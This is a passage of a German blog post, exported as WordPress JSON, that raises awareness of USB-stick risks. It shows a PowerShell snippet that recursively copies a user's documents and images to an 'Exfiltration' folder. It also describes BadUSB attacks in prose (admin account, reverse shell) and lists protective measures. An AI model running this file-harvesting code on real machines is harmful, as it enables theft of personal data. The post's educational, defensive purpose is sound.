Software<\/strong>\u00a0installiert<\/li>\n\n\n\n<li><strong>Keine Netzwerkverbindungen<\/strong>\u00a0aufbaut<\/li>\n\n\n\n<li><strong>Nur Metadaten<\/strong>\u00a0sammelt (Namen, Gr\u00f6\u00dfen, Pfade)<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u26a0\ufe0f&nbsp;<strong>Dieses Skript zeigt<\/strong>, wie viel ein fremder USB-Stick \u00fcber Ihr System erfahren kann. Nutzen Sie es, um:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Mitarbeiter zu sensibilisieren<\/strong><\/li>\n\n\n\n<li><strong>Sicherheitsrichtlinien zu \u00fcberpr\u00fcfen<\/strong><\/li>\n\n\n\n<li><strong>Das Bewusstsein f\u00fcr USB-Risiken zu sch\u00e4rfen<\/strong><\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Die Gefahr im Detail: Was ein Angreifer wirklich tun w\u00fcrde<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Der Demo-Code ist bewusst harmlos. Ein echter Angreifer w\u00fcrde ihn wie folgt erweitern:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1. Datendiebstahl in Echtzeit<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">powershell<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><em># ECHTER ANGRIFF: Daten kopieren (NICHT IM DEMO-CODE ENTHALTEN!)<\/em>\n<em># WARNUNG: Dies ist nur zur Veranschaulichung der Gefahr!<\/em>\n\n$relevantPaths = @(\n    \"C:\\Users\\$env:USERNAME\\Documents\",\n    \"C:\\Users\\$env:USERNAME\\Desktop\",\n    \"C:\\Users\\$env:USERNAME\\OneDrive\"\n)\n\n$relevantExtensions = @(\".pdf\", \".docx\", \".xlsx\", \".pptx\", \".txt\", \".jpg\", \".png\")\n\n$targetFiles = Get-ChildItem -Path $relevantPaths -Recurse -File |\n               Where-Object { $_.Extension -in $relevantExtensions }\n\nforeach ($file in $targetFiles) {\n    Copy-Item -Path $file.FullName -Destination \"$scriptRoot\\Exfiltration\\\" -Force\n}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Zeitaufwand:<\/strong>&nbsp;3-15 Minuten<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2. BadUSB \/ Rubber Ducky Angriff<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Ein Angreifer w\u00fcrde einen USB-Stick als&nbsp;<strong>Tastatur<\/strong>&nbsp;tarnen, der in Sekunden:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Ein\u00a0<strong>Admin-Konto<\/strong>\u00a0erstellt<\/li>\n\n\n\n<li><strong>Remote Desktop<\/strong>\u00a0aktiviert<\/li>\n\n\n\n<li>Eine\u00a0<strong>Reverse Shell<\/strong>\u00a0\u00f6ffnet<\/li>\n\n\n\n<li><strong>Malware<\/strong>\u00a0installiert<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">Schutzma\u00dfnahmen<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-fixed-layout\"><thead><tr><th class=\"has-text-align-left\" data-align=\"left\">Ma\u00dfnahme<\/th><th class=\"has-text-align-left\" data-align=\"left\">Beschreibung<\/th><th class=\"has-text-align-left\" data-align=\"left\">Effektivit\u00e4t<\/th><\/tr><\/thead><tbody><tr><td><strong>USB-Ports sperren<\/strong><\/td><td>Deaktivieren nicht ben\u00f6tigter USB-Ports<\/td><td>Hoch<\/td><\/tr><tr><td><strong>Application Allowlisting<\/strong><\/td><td>Nur erlaubte Programme d\u00fcrfen ausgef\u00fchrt werden<\/td><td>Sehr Hoch<\/td><\/tr><tr><td><strong>EDR<\/strong><\/td><td>Erkennung verd\u00e4chtiger Aktivit\u00e4ten<\/td><td>Hoch<\/td><\/tr><tr><td><strong>USB-Pr\u00fcfstation<\/strong><\/td><td>Dedizierter Rechner zum Scannen<\/td><td>Sehr Hoch<\/td><\/tr><tr><td><strong>Autoplay deaktivieren<\/strong><\/td><td>Verhindert automatische Ausf\u00fchrung<\/td><td>Grundlegend<\/td><\/tr><tr><td><strong>BitLocker<\/strong><\/td><td>Verschl\u00fcsselung des gesamten Systems<\/td><td>Hoch<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Autor:&nbsp;DerSchneider Vorwort: Warum dieser Code? Dieser Code wurde von mir&nbsp;ausschlie\u00dflich zu Demonstrations- und Schulungszwecken&nbsp;erstellt. Meine Absicht ist es nicht, Schaden anzurichten oder sensible Daten zu kompromittieren. Im Gegenteil: Ich m\u00f6chte das&nbsp;Sicherheitsbewusstsein&nbsp;im Umgang mit fremden USB-Ger\u00e4ten sch\u00e4rfen. Die &#8222;Mobile Datensonde&#8220; ist ein&nbsp;p\u00e4dagogisches Werkzeug, das zeigt, wie schnell und einfach ein scheinbar harmloser USB-Stick dazu verwendet werden [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[41,44,17],"tags":[10174,10176,10169,10173,10170,5475,10175,10172,10171,10178,10168],"class_list":["post-6864","post","type-post","status-publish","format-standard","hentry","category-digitalkultur","category-ethik-gewissen","category-im-herz","tag-badusb","tag-datendiebstahl","tag-datensammlung","tag-demo-code","tag-metadatenanalyse","tag-powershell","tag-rubber-ducky","tag-sensibilisierung","tag-sicherheitsbewusstsein","tag-technodidact","tag-usb-sicherheit"],"_links":{"self":[{"href":"https:\/\/technodidact.de\/en\/wp-json\/wp\/v2\/posts\/6864","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/technodidact.de\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/technodidact.de\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/technodidact.de\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/technodidact.de\/en\/wp-json\/wp\/v2\/comments?post=6864"}],"version-history":[{"count":3,"href":"https:\/\/technodidact.de\/en\/wp-json\/wp\/v2\/posts\/6864\/revisions"}],"predecessor-version":[{"id":6867,"href":"https:\/\/technodidact.de\/en\/wp-json\/wp\/v2\/posts\/6864\/revisions\/6867"}],"wp:attachment":[{"href":"https:\/\/technodidact.de\/en\/wp-json\/wp\/v2\/media?parent=6864"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/technodidact.de\/en\/wp-json\/wp\/v2\/categories?post=6864"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/technodidact.de\/en\/wp-json\/wp\/v2\/tags?post=6864"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}